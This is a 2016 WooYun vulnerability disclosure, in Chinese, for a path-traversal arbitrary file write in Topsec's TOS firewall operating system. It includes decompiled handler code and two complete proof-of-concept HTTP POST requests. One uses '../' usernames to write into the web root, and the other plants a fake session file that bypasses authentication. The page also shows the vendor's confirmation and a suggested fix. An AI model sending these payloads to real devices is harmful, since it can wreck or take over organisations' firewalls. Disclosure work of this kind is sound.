当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0185165

漏洞标题:天融信TOS安全操作系统任意文件写入覆盖影响众多系列产品

相关厂商:天融信

漏洞作者: Ano_Tom

提交时间:2016-03-16 09:22

修复时间:2016-06-14 14:00

公开时间:2016-06-14 14:00

漏洞类型:设计不当

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-16: 细节已通知厂商并且等待厂商处理中
2016-03-16: 厂商已经确认,细节仅向厂商公开
2016-03-19: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-10: 细节向核心白帽子及相关领域专家公开
2016-05-20: 细节向普通白帽子公开
2016-05-30: 细节向实习白帽子公开
2016-06-14: 细节向公众公开

简要描述:

天融信完全自主知识产权的TOS(Topsec Operating System)安全操作系统设计缺陷导致任意文件创建、覆盖以及写入部分数据。影响基于此系统开发的NGFW4000、TopVPN6000、TopGate300等系列产品。可覆盖已有文件,创建新文件,写入内容部分可控。可以伪造session文件,绕过部分权限。

详细说明:

主文件maincgi中有一个类似注册的功能,是在验证权限之前的一个功能块loginRegister。

if ( cgiFormCheckboxSingle((int)"loginSubmitIpt") )
{
if ( cgiFormCheckboxSingle((int)"loginRegister") )
{
if ( !strcmp(&s1, "VerifyCode") )
{
sub_805957A();
}


来跟下如果为loginRegister时候会进行什么操作:

LOBYTE(s) = 0;
memset((char *)&s + 1, 0, 0x3FFu);
cgiFormStringNoNewlines("user_name_tex", &src, 32); //取出参数用户名放入到src中
cgiFormStringNoNewlines("user_pass_pas", &v110, 128); //取出参数密码
v92 = sub_8053FCE(&src); //判断用户名是不是存在/www/user中,不存在返回0
if ( v92 == 1 )
{
v93 = (char *)*(&off_8253FA0 + lang_index);
}
else if ( v92 == 2 )
{
v93 = (char *)*(&off_8253FB0 + lang_index);
}
else
{
s = 2004317999; //与下面的v97v98一起组成字符串 '/www/user/'
v97 = 1702065455;
v98 = 12146;
v99 = 0;
strcat((char *)&s, &src); //把用户名与字符串s拼接
v94 = fopen((const char *)&s, "w+"); 可以看到,如果不存在,就直接fopen ,而且用的是w+
if ( v94 )
{
fprintf(v94, "username=%s\npassword=%s\n", &src, &v110); //这个是写入的内容
fclose(v94);
v93 = off_8253FA8[lang_index];
}
else
{
v93 = off_8253FB8[lang_index];
}
}
initHttpHeader();
puts("<script>");
printf("alert(\"%s\");", v93);
puts("self.close();");
puts("</script>");
result = 0;


可以看到,如果用户名不存在,就会去fopen('/www/user/用户名',w+)并且写入制定的内容。w+为读写模式,可以创建不存在的文件,也会清空存在的文件进行覆盖。写入的内容不是完全可控的,但是覆盖正常文件做破坏已经很严重了,和任意文件删除效果差不多。
再来看下权限验证的流程:

if ( ptr && *(_BYTE *)ptr )       //此处和下面省略的地方都是判断文件是否存在,存在就可以绕过
{
............
............
if ( !strcmp(&s1, "Head") )
{
initHttpHeader();
sub_8054F70();
}
else if ( !strcmp(&s1, "Bottom") )
{
initHttpHeader();
sub_8054E16();
}
else if ( !strcmp(&s1, "Quit") )
{
v28 = webui_logout(v4, g_vsid);
destroy_cookie_file(&unk_8226B20);
if ( !v28 )
sub_8054D50();
}
else
{
v24 = webui_login(&v16, &dest, &v4, g_vsid); 此处才去拿session中的内容去验证
...............
}


可以看到,在判断session是否存在到拿取的内容去验证中间还是有几个功能可以无授权访问的。比如destroy_cookie_file()函数,如果看上一篇发的tos的漏洞可以知道,就是它导致的命令执行。那么这个漏洞是否可以绕过上个漏洞的修复补丁呢?

漏洞证明:

在上个tos的命令执行漏洞中,已经证明了影响的系列之多和设备数量之多,达到上万的级别,而且影响的都是企业、学校、政府,私人家庭还是用不起这么贵的设备的。
这里就给出个事例证明漏洞:
就用zoomeye搜索其中一个关键字topsec的第一个设备

屏幕快照 2016-03-15 下午11.46.08.png


1:文件写入(覆盖同理,就不演示了,会产生破坏):
首先我们写入一个文件

POST /cgi/maincgi.cgi?Url=Index HTTP/1.1
Host: **.**.**.**:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://**.**.**.**:8080/
Cookie: topsecsvportallogodir=default; topsecsvuilanguage=chinese; login_err_num=0; topsecsvportalstyle=style1; topsecsvportalname=default; cgid=eyfjuRy+e0gpWmv5nq0d9A==; verifyCode=l4SXkMKmfkuo0g2Ryew6dg===
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
user_name_tex=../htdocs/site/image/wooyun&user_pass_pas=here_can_write_128_bytes&loginRegister=


访问结果如下:

屏幕快照 2016-03-15 下午11.41.49.png


不是所有的tos系统都是默认root权限,但是普通权限也可以让此漏洞覆盖配置文件、web文件等,造成设备瘫痪。
2:部分权限绕过:
当直接访问的时候

屏幕快照 2016-03-15 下午11.54.02.png


然后我们在cookie目录里写入一个文件

POST /cgi/maincgi.cgi?Url=Index HTTP/1.1
Host: **.**.**.**:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://**.**.**.**:8080/
Cookie: topsecsvportallogodir=default; topsecsvuilanguage=chinese; login_err_num=0; topsecsvportalstyle=style1; topsecsvportalname=default; cgid=eyfjuRy+e0gpWmv5nq0d9A==; verifyCode=l4SXkMKmfkuo0g2Ryew6dg===
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
user_name_tex=../cookie/wooyun&user_pass_pas=here_can_write_128_bytes&loginRegister=


然后我们再访问:

屏幕快照 2016-03-15 下午11.56.13.png


可以看到,权限验证通过了。不知道之前的命令执行修复是不是只判断了session文件是不是存在,不然这个是可以绕过的。

修复方案:

最简单的方法是对所有的输入做过滤,过滤掉目录跳转的字符。

版权声明:转载请注明来源 Ano_Tom@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2016-03-16 13:58

厂商回复:

已确认,谢谢提交

最新状态:

暂无